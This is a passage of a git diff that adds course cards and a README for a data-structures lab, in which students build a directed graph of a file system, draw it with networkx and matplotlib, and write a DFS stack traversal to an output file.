+ for j in lst:
+ if visited[j] == False:
+ stack.append(j)
+ visited[j] = True
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3-2-3.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3-2-3.md
new file mode 100644
index 00000000..071df01f
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3-2-3.md
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+# Steps
+
+## 3-2-3 Step 1
+
+### name
+
+```
+**Call print_ordered_file_structure() to write output**
+```
+
+### md_content
+
+```
+We want to finally call `print_ordered_file_structure()` in `main()` in order to write our output to the output file.
+
+We call it on `G` since that is the graph we constructed manually, and we provide the argument `"0"`, since that will signify our *root* of the graph.
+```
+
+### code_snippet
+
+```python
+ G.print_ordered_file_structure("0")
+```
+
+### md_content
+
+```
+We have now completed the main portion of the file system lab!
+```
+
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3-2.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3-2.md
new file mode 100644
index 00000000..a6faa6d1
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3-2.md
@@ -0,0 +1,36 @@
+
+
+
+
+
+
+# Steps
+
+## 3-2 Step 1
+
+### name
+
+```
+**Transversing through the Stack**
+```
+
+### md_content
+
+```
+Now that we have our initial setup complete, we need to start the actual DFS traversal. Below are the general steps that you should be familiar with.
+
+This part of the traversal is where the actual *traversing* happens.
+
+You are going to want to continually do these following operations until your `stack` is empty:
+
+**Step 1: Obtain a new `start`**
+
+**Step 2: Write the information associated with that `start` to the output file**
+
+**Step 3: Sort the list of edges connecting to `start`**
+
+**Step 4: Check all the edges from the given `start ` and put them on the `stack`**
+```
+
+###
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3.md
new file mode 100644
index 00000000..2bf9e7ba
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/3.md
@@ -0,0 +1,52 @@
+
+
+
+
+
+
+To make sure that your `Graph` implementation is held correctly, you will need to write the structure to another file similar to the one given originally.
+
+Basically, you need to fully understand how the graph is held in order to complete this part.
+
+For instance, given the file:
+
+```
+0. Some Show
+01. Season 1
+011. The Vanishing of Will Byers
+012. The Weirdo on Maple Street
+013. Holly, Jolly
+014. The Body
+015. The Flea and the Acrobat
+016. The Monster
+017. The Bathtub
+018. The The Upside Down
+02. Season 2
+021. MADMAX
+022. Trick or Treat
+...
+```
+
+Your `print_ordered_file_structure()` (which will be a function/method of your `Graph` class) should write the following to an output file:
+
+```
+0. Some Show
+01. Season 1
+011. The Vanishing of Will Byers
+012. The Weirdo on Maple Street
+013. Holly, Jolly
+014. The Body
+015. The Flea and the Acrobat
+016. The Monster
+017. The Bathtub
+018. The The Upside Down
+02. Season 2
+021. MADMAX
+022. Trick or Treat
+...
+```
+
+In order to achieve this, you're going to want to implement a `DFS` style traversal using a `stack`.
+
+Lastly, instead of printing out this information, you're going to write it to an output file, which should be named `output.txt`.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/31.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/31.md
new file mode 100644
index 00000000..3baf350a
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/31.md
@@ -0,0 +1,15 @@
+
+
+
+
+
+
+To get the correct `pos`, we need to look at how we can use the provided `hierarchy_pos()` function.
+
+The `hierarchy_pos()` is a function designed to make the graph's layout hierarchal (it was made separately because the `networkx` did not have a predefined hierarchal layout).
+
+We can see from the function that the first argument it needs is the graph `G`, which we already have!
+
+However, when you look at the rest of the arguments, what do you notice? They all are already assigned values! So, what else do we need to provide as an argument besides just `G` ?
+
+Think how you can identify the root of the graph you made? If you can, just provide that as the second argument, and you'll have your `pos`.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/311.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/311.md
new file mode 100644
index 00000000..97f00b82
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/311.md
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+As explained earlier, we need to take this extra step because the `networkx` library does not have a preset layout representing the graph as a tree.
+
+Luckily, we provided you with a manual implementation of this layout in the `hierarchy_pos()` functions.
+
+Here, we are calling `hierarchy_pos()` with our graph, `G`, as an argument, as well as the string `"0"`. We do this because we want to tell the function that it will deal with the layout of our graph `G`. The `"0"` tells the graph that `"0" ` is the identity of the root node.
+
+```python
+ pos = hierarchy_pos(G,"0")
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/32.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/32.md
new file mode 100644
index 00000000..2b425ba2
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/32.md
@@ -0,0 +1,18 @@
+
+
+
+
+
+
+Now that you have `G, val_map, and pos`. You have all the things you need to draw the graph!
+
+Recall how you can use the `draw()` function from the `networkx` library to actually depict the graph. How do you call it?
+
+Once you have achieved this, you will have a pictorial representation of the file system! However, you are still going to be missing the important things: the labels!
+
+
+
+Try to remember how to use the `draw_networkx_labels()` function to achieve this!
+
+Lastly, in order to actually see the graph on your screen, you need to use the `matplolib` function that **shows** the graph.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/321.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/321.md
new file mode 100644
index 00000000..cb2c97fa
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/321.md
@@ -0,0 +1,24 @@
+
+
+
+
+
+
+In order to tell the `matplotlib` library what our graph will look like, we need to call the `nx.draw()` function. Here, we provide the graph, `G`, and positioning, `pos`, and let the function know we don't want the labels it would assign, `with_labels=False`. In other words, we want to tell it what the labels should be.
+
+```python
+ nx.draw(G, pos = pos, with_labels=False)
+```
+
+Now, we want to let `matplotlib` know what the labels of each node should be. To do this, we use the `draw_networkx_labels()` function from `networkx`. Again, we provide the graph, `G`, the positioning, `pos`, and now we give the labels that are mapped to each node, `val_map`. We also specify the font size of the labeling, `4`.
+
+```python
+ nx.draw_networkx_labels(G, pos, val_map, 4)
+```
+
+Lastly, in order to actually see the graph, we use the `matplotlib` function `show()`. Here, since we have already told `matplotlib` what we want to show, we just have to call the function:
+
+```python
+ plt.show()
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/4-1-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/4-1-1.md
new file mode 100644
index 00000000..e8e945b4
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/4-1-1.md
@@ -0,0 +1,47 @@
+
+
+
+
+
+
+# steps
+
+## 4-1-1 Step 1
+
+### name
+
+```
+**Step 1: Use the `add_edges_from()` function**
+```
+
+### md_content
+
+```
+Use the `add_edges_from()` function from the `networkx` package to add edges to `G2`. We had saved these edges in a list in previous parts of the lab and should reuse that variable.
+```
+
+### code_snippet
+
+```python
+G2.add_edges_from(edges)
+```
+
+## 4-1-1 Step 2
+
+### name
+
+```
+**Step 2: Use the hieracrhy_pos() function to order the positioning of each node**
+```
+
+### md_content
+
+```
+Since `hierarchy_pos()` is a function designed to make the graph's layout hierarchical, we should call it and pass in our graph `G2` and our root, which is always `"0"`. Since `hierarchy_pos()` returns a position, we save the return value into a variable `pos`.
+```
+
+### code_snippet
+
+```python
+pos = hierarchy_pos(G2,"0")
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/4-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/4-1.md
new file mode 100644
index 00000000..d1a50965
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/4-1.md
@@ -0,0 +1,57 @@
+
+
+
+
+
+
+# Steps
+
+## 4-1 Step 1
+
+### name
+
+```
+**Step 1: Add our edges from the input file graph to graph `G2`**
+```
+
+### md_content
+
+```
+We should use a function from the `networkx` package to add the edges of the graph from the input file. We had saved these edges in a list previously in the lab and should reuse that variable.
+```
+
+## 4-1 Step 2
+
+### name
+
+```
+**Step 2: Use the hieracrhy_pos() function to order the positioning of each node**
+```
+
+### md_content
+
+```
+To get the correct `pos`, we need to look at how we can use the provided `hierarchy_pos()` function.
+
+`hierarchy_pos()` is a function designed to make the graph's layout hierarchical (made separately because the `networkx` did not have a predefined hierarchical layout).
+```
+
+## 4-1 Step 3
+
+### name
+
+```
+**Step 3: Input a graph argument into our hierarchy_pos() function**
+```
+
+### md_content
+
+```
+We can see from the function that the first argument it needs is a graph. You should pass in the graph `G2`, which we have constructed using the `networkx` package, in the `hierarchy_pos()` function. Remember that we are **NOT** using the graph from our custom class `Graph` as we **MUST** use the graph from the `networkx` package.
+
+When you look at the rest of the arguments, what do you notice? They all are already assigned values! So, what else do we need to provide as an argument besides `G2` ?
+
+Think about how you can identify the root of the graph you made. If you can, just provide that as the second argument.
+```
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/4-2-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/4-2-1.md
new file mode 100644
index 00000000..733c2da9
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/4-2-1.md
@@ -0,0 +1,72 @@
+
+
+
+
+
+
+# Steps
+
+## 4-2-1 Step 1
+
+### name
+
+```
+**Step 1: Call nx.draw() to draw the roots connecting each node for the graph**
+```
+
+### md_content
+
+```
+In order to tell the `matplotlib` library what the graph will look like, we need to call the `nx.draw()` function. Here, we provide the graph (`G2`), the positioning (`pos`), and we let the function know we don't want the labels it'd assign by setting `with_labels` to `False` (i.e we want to tell it what the labels should be).
+```
+
+### code_snippet
+
+```python
+ nx.draw(G2, pos = pos, with_labels = False)
+```
+## 4-2-1 Step 2
+
+### name
+
+```
+**Step 2: Call draw_networkx_labels() to label each node**
+```
+
+### md_content
+
+```
+Now, we want to let `matplotlib` know what the labels of each node should be. To do this, we use the `draw_networkx_labels()` function from `networkx`. Again, we provide `G2` and `pos`, but now we also give the labels mapped to each node (`val_map`) and specify the font size of the labeling to `8`.
+```
+
+### code_snippet
+
+```python
+ nx.draw_networkx_labels(G2, pos, val_map, 8)
+```
+## 4-2-1 Step 3
+
+### name
+
+```
+**Step 3: Call plt.show() to show the final visual for our graph**
+```
+
+### md_content
+
+```
+Lastly, in order to actually see the graph, we use the `matplotlib` function `show()`. Here, since we already told `matplotlib` what to show, we just have to call the function:
+```
+
+### code_snippet
+
+```python
+ plt.show()
+```
+
+### md_content
+
+```
+Now, if you run the code, you should be able to see the graph visually with the proper structure and labels!
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/4-2.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/4-2.md
new file mode 100644
index 00000000..f315b905
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/4-2.md
@@ -0,0 +1,46 @@
+
+
+
+
+
+
+# steps
+
+## 4-2 Step 1
+
+### name
+
+```
+**Step 1: Draw the graph**
+```
+
+### md_content
+
+```
+Now that you have `G2, val_map, and pos`, you have all the things you need to draw the graph!
+
+Recall that you can use the `draw()` function from the `networkx` library to actually depict the graph. How do you call it?
+
+Once you have achieved this, you will have a pictorial representation of the file system! However, you are still going to be missing labels!
+```
+
+### image
+
+
+
+## 4-2 Step 2
+
+### name
+
+```
+**Step 2: Draw the labels of your nodes for your graph**
+```
+
+### md_content
+
+```
+Try to remember how to use the `draw_networkx_labels()` function to achieve this!
+
+Lastly, in order to see the graph on your screen, you need to use the `matplotlib` function that **shows** it.
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/4-checkpoint.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/4-checkpoint.md
new file mode 100644
index 00000000..e12c163a
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/4-checkpoint.md
@@ -0,0 +1,21 @@
+# name
+
+Testing DFS Through `print_ordered_file_structure()`
+
+# cards_folder
+
+Module4_Labs/Lab3_File_System/Cards/
+
+# checkpoint_type
+
+Autograder
+
+# instruction
+
+Submit all the code you have completed for the lab, including your `Graph` class and all functions. By now, your code should be able to read in input files, use the `Graph` class to handle edges and node values, use `networkx` functions to visualize the graph, and complete a DFS traversal of the graph and write visited nodes' information to an output file.
+
+In this checkpoint, we will be testing to see if your DFS traversal is correct. Submission can be done from Command-Line Interface (CLI) or through a `src.zip` file that you can drag and drop.
+
+# test_file_location
+
+Module4_Labs/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/4.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/4.md
new file mode 100644
index 00000000..3d9ab980
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/4.md
@@ -0,0 +1,23 @@
+
+
+
+
+
+
+Python has many packages which allow you to do various complex functions. One of these is the `networkx` package, which we will use to visualize a graph. However, we won't be able to use this package with our custom class `Graph` . Instead, we will have to use the built-in `networkx` functions to construct another graph. The importing of the library and construction of the graph using `networkx` is done in the Starter Code. See https://networkx.github.io/documentation/stable/tutorial.html for more details on graphs and the `networkx` package.
+
+While we will be using the graph `G2 = nx.Graph()` to initialize our graph for use with the `networkx` functions, we can still add the `edges` and `val_map` values we parsed from the input file into `G2`. Explore the `networkx` package to see which functions you could do to achieve this!
+
+Additionally, you need to make sure that the graph prints in a "tree" orientation. By default, the graph will not be shown as we want it to appear. We would like it to appear as a hierarchal, "tree-like" graph, which is oriented as such:
+
+
+
+From the above diagram, you can see that a "tree-like" graph is one in which there are no cycles and there is a parent-child relationship between nodes. That is, there is an edge between the parent and child nodes. Not every node needs children, but every child node (except the root) will have an associated parent node.
+
+In order to achieve this "tree" orientation, you must set the positioning, `pos`, of the graph's nodes by using the `hierarchy_pos()` function provided. `pos` refers to the position of each node. The reason why this function is important is because we can find the precise location to input each node in our graph. Basically, the `hierarchy_pos()` function manually alters the nodes positions, `pos`, in order to have them oriented in the above manner. This needs to be done manually because `networkx` currently does not have a predefined layout option to represent a graph in a hierarchal manner. Since that is the case, we would call the `hierarchy_pos()` function to ensure that each node's position is situated properly to print the same result seen in our connected graph.
+
+Once this is achieved, you will need to use one of the `networkx` functions that allow you to **draw** the graph, and another to draw the graph with **labels** (hint: `val_map` stores your labels) so that each node will hold its file name. Then, to actually see the graph, you will need to use the `matplotlib` function to **show** the graph. `matplotlib` is Python's visual library that creates graphs of mathematical models. The reason why we would use this library is because `networkx` isn't capable of producing the visual for the graph on its own.
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/41.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/41.md
new file mode 100644
index 00000000..0e5a3f1a
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/41.md
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+As mentioned before, we are going to be implementing a `DFS` style traversal function.
+
+First, think about how we will keep track of "where you've been" when traversing. Trying thinking how using a `defaultdict(bool)` will enable you to see if you've been to a given node.
+
+Once you have those set up, you need to make sure you're going to start on the root, `start`, and therefore mark it as "visited."
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/411.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/411.md
new file mode 100644
index 00000000..6b845dbf
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/411.md
@@ -0,0 +1,44 @@
+
+
+
+
+
+
+Let's review `DFS` as a concept before we dive into its application to this specific problem. `DFS` is an algorithm that traverses a graph (directed or undirected) through the use of a data structure called a `stack` (Last-In, First-Out). We begin with a given start node, mark it as "visited," and push its unvisited neighbors to the stack. We then pop the top node off of the stack, mark it as "visited," and repeat this process until all nodes have been visited.
+
+It's important to have a fundamental understanding of `DFS` to complete this part of the lab. If needed, you can refer back to the activities which discuss `DFS` in depth (no pun intended).
+
+Let's get to the specifics of this problem now.
+
+You need to create a `visited` `defaultdict(bool)`. We have to use a `defaultdict` because we need to index our `visited` by the string that identifies a given node, which is `"011"`.
+
+```python
+ visited = defaultdict(bool)
+```
+
+A `stack` must be created since it will hold the nodes to be visited next. Unlike a `queue`, it will enable us to print out our "folders" in the correct relative order:
+
+```python
+ stack = []
+```
+
+Why does a `stack` do this? It is because this problem wants us to list the folders in an order such that we go as "far" down the tree as possible before going back up when we can't go further. That is, we wish to print `0` , then its first child `01` , then its children `011`, `012`, and `013` before we print `0`'s second child, `02` (refer to the diagram below).
+
+
+
+Notice how we're going as far down the tree as possible by popping from the **top** of stack. The stack allows us to do this as we can add all the unprinted, neighboring folders of the folder we just printed, pop the **top** of the stack and print that folder, and repeat this process until all folders are printed.
+
+Now, back to the code.
+
+Since we want to begin with `start`, we need to push it onto our stack:
+
+```python
+ stack.append(start)
+```
+
+And since we are pushing `start` onto our stack, that means we will have already visited it, so we need to mark it as such:
+
+```python
+ visited[start] = True
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/42.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/42.md
new file mode 100644
index 00000000..b8e45368
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/42.md
@@ -0,0 +1,15 @@
+
+
+
+
+
+
+This part of the traversal is where the actual *traversing* happens.
+
+You are going to want to continually do the following operations until your `stack` is empty:
+
+1. Obtain a new `start`
+2. Write the information associated with that `start` to the output file
+3. Sort the list of edges connecting to `start`
+4. Check all edges from the given `start ` and put them on the `stack` to go there
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/421.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/421.md
new file mode 100644
index 00000000..b84543f3
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/421.md
@@ -0,0 +1,46 @@
+
+
+
+
+
+
+In order to visit all of the nodes at least once, we need to keep going until the stack is empty:
+
+```python
+ while stack:
+```
+
+Now, we need a new `start`, or vertex, to visit. In order to do that, we just need to pop the last value off of the `stack`:
+
+```python
+start = stack.pop()
+```
+
+In order to write all of the information associated with `start`, we need to open a file to write to and make sure we are appending, `a`, to the file:
+
+```python
+f = open("output.txt", "a")
+```
+
+We are now writing the correct information to the file here. `start` holds the identifier for a particular node. We have the "file names" in the `val_map`, so we use those as well to replicate the structure of the given file:
+
+```python
+f.write(start+'. ' + self.val_map[start] + '\n')
+```
+
+Even though we are coming back to this file later, it is good practice to always close the file after opening it:
+
+```python
+f.close()
+```
+
+Here is the above code fragments shown together:
+
+```python
+while stack:
+ start = stack.pop()
+ f = open("output.txt", "a")
+ f.write(start+'. ' + self.val_map[start] + '\n')
+ f.close()
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/422.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/422.md
new file mode 100644
index 00000000..b4ad74c2
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/422.md
@@ -0,0 +1,60 @@
+
+
+
+
+
+
+Before we check all the edges `start` connects to, we need to make sure the files are in the correct order. To do this, we sort all the edges that `start` connects to:
+
+```python
+lst = self.edges[start]
+lst.sort()
+```
+
+Now that the list is sorted, we need to reverse the list since we are using a `stack` (Last In, First Out):
+
+```python
+lst = lst[::-1]
+```
+
+We need to loop through `lst` since it holds all of the vertices that `start` connects to:
+
+```python
+for j in lst:
+```
+
+Again, we need to check if we've been to that vertex:
+
+```python
+if visited[j] == False:
+```
+
+If we haven't, we will add the vertex to our `stack`:
+
+```python
+stack.append(j)
+```
+
+And mark that we have visited that vertex:
+
+```python
+visited[j] = True
+```
+
+Here is the above (and previous) code fragments shown together:
+
+```python
+while stack:
+ start = stack.pop()
+ f = open("output.txt", "a")
+ f.write(start+'. ' + self.val_map[start] + '\n')
+ f.close()
+ lst = self.edges[start]
+ lst.sort()
+ lst = lst[::-1]
+ for j in lst:
+ if visited[j] == False:
+ stack.append(j)
+ visited[j] = True
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/423.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/423.md
new file mode 100644
index 00000000..782d8343
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/423.md
@@ -0,0 +1,39 @@
+
+
+
+
+
+
+We want to finally call `print_ordered_file_structure()` in `main()` to write our output to the output file.
+
+We call it on our `G2`, as that's the graph we constructed manually, and we provide the argument `"0"`, since that will signify our *root* of the graph.
+
+```python
+ G2.print_ordered_file_structure("0")
+```
+
+Here is the function code in its entirety:
+
+```python
+visited = defaultdict(bool)
+stack = []
+stack.append(start)
+visited[start] = True
+while stack:
+ start = stack.pop()
+ f = open("output.txt", "a")
+ f.write(start+'. ' + self.val_map[start] + '\n')
+ f.close()
+ lst = self.edges[start]
+ lst.sort()
+ lst = lst[::-1]
+ for j in lst:
+ if visited[j] == False:
+ stack.append(j)
+ visited[j] = True
+```
+
+For a line-by-line breakdown of the code, refer back to the in-depth explanations in the previous cards.
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/README.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/README.md
new file mode 100644
index 00000000..ccc73fd9
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/README.md
@@ -0,0 +1,20 @@
+# File System
+
+# Long Summary
+
+Students will have to parse through a file containing information about a folder/file's "structural position" within its structure and name. After extracting any information relevant to directed graphs, they will store it in a graph that they implement themselves. Students will use the networkx library to help them visualize the graph with a GUI. Then, they will write the ordered file structure to an output file using DFS.
+# Short Summary
+
+Students will understand graphs better by implementing a directed graph representing a small file structure and printing its ordered structure in a file.
+
+# Criteria
+
+- The edges in these graphs have directions. What objects in the file system are the "from" objects and the "to" objects. Why?
+
+- Is a graph useful if it only contains a list of nodes? Why or why not?
+
+- When performing a DFS, what is the significance of using a queue?
+
+# Difficulty
+
+Medium
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/Structure.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/Structure.md
new file mode 100644
index 00000000..d68b3ff7
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/Structure.md
@@ -0,0 +1,39 @@
+1.
+
+ 11.
+ 111.
+ 12.
+ 121.
+ 122.
+ 13.
+ 131.
+ 132.
+
+2.
+
+ 21.
+ 211.
+ 22.
+ 221.
+
+4.
+
+ 31.
+ 311.
+
+ 32.
+
+ 321.
+
+ 322.
+
+ 323.
+
+4.
+
+ 41.
+ 411.
+
+ 42.
+ 421.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Images/411_FileSystemTreeStack.jpg b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Images/411_FileSystemTreeStack.jpg
new file mode 100644
index 00000000..39061c64
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Images/411_FileSystemTreeStack.jpg differ
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Images/files.png b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Images/files.png
new file mode 100644
index 00000000..f9f85aca
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Images/files.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/README.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/README.md
new file mode 100644
index 00000000..6102fbeb
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/README.md
@@ -0,0 +1,330 @@
+# github_id
+1
+
+# name
+File System
+
+# description
+Students will understand graphs better by implementing a directed graph that represents a small file structure and printing its ordered structure in a file.
+
+# summary
+Students will have to parse through a file that contains information about a folder/file's "structural position" within the file structure and its name. After extracting the relevant information in relation to directed graphs, they will store it in a graph that they implement themselves. Students will use the networkx library to help them visual the graph with a GUI and then write the ordered file structure to an output file using DFS.
+
+# difficulty
+Hard
+
+# image
+
+
+# image_folder
+/Module4_Labs/Lab3_File_System/Images/files.png
+
+# cards
+
+## 1
+
+### name
+Parsing the File
+
+### order
+1
+
+### gems
+0
+
+### concepts
+* directedGraphs
+* introToGraphs
+* useOfGraphs
+
+## 2
+
+### name
+Initializing the Graph
+
+### order
+2
+
+### gems
+0
+
+### concepts
+* directedGraphs
+* introToGraphs
+* useOfGraphs
+
+## 3
+
+### name
+Printing the File Structure
+
+### order
+3
+
+### gems
+0
+
+### concepts
+* directedGraphs
+* introToGraphs
+* useOfGraphs
+* Depth First Search (DFS)
+* Stack Manipulation
+
+## 4
+
+### name
+Drawing the Graph
+
+### order
+4
+
+### gems
+0
+
+### concepts
+* directedGraphs
+* introToGraphs
+* useOfGraphs
+
+## 1-1
+
+### name
+Finding the Relationships
+
+### order
+1
+
+### gems
+0
+
+## 1-2
+
+### name
+Coding the Relationships
+
+### order
+2
+
+### gems
+0
+
+## 1-3
+
+### name
+Reading File Names
+
+### order
+3
+
+### gems
+0
+
+## 2-1
+
+### name
+Adding Edges
+
+### order
+1
+
+### gems
+0
+
+## 2-2
+
+### name
+Adding the Values
+
+### order
+2
+
+### gems
+0
+
+## 3-1
+
+### name
+print_ordered_file_structure() Function Part 1
+
+### order
+1
+
+### gems
+0
+
+## 3-2
+
+### name
+print_ordered_file_structure() Function Part 2
+
+### order
+2
+
+### gems
+0
+
+## 4-1
+
+### name
+Adding edges and Getting the "pos"
+
+### order
+1
+
+### gems
+0
+
+## 4-2
+
+### name
+Displaying the graph
+
+### order
+2
+
+### gems
+0
+
+## 1-1-1
+
+### name
+Finding the Relationships Explained
+
+### order
+1
+
+### gems
+0
+
+## 1-2-1
+
+### name
+Coding the Relationships Part 1
+
+### order
+1
+
+### gems
+0
+
+## 1-2-2
+
+### name
+Coding the Relationships Part 2
+
+### order
+2
+
+### gems
+0
+
+## 1-3-1
+
+### name
+Matching Storing the Name Explained
+
+### order
+1
+
+### gems
+0
+
+## 1-3-2
+
+### name
+Writing a Main Function
+
+### order
+2
+
+### gems
+0
+
+## 2-1-1
+
+### name
+Adding the Edges Explained
+
+### order
+1
+
+### gems
+0
+
+## 2-2-1
+
+### name
+Adding the Values Explained
+
+### order
+1
+
+### gems
+0
+
+## 3-1-1
+
+### name
+print_ordered_file_structure() Function Part 1 Explained
+
+### order
+1
+
+### gems
+0
+
+## 3-2-1
+
+### name
+print_ordered_file_structure() Function Part 2 Explained
+
+### order
+1
+
+### gems
+0
+
+## 3-2-2
+
+### name
+print_ordered_file_structure() Function Part 2 Explained
+
+### order
+2
+
+### gems
+0
+
+## 3-2-3
+
+### name
+Using print_ordered_file_structure() in main()
+
+### order
+3
+
+### gems
+0
+
+## 4-1-1
+
+### name
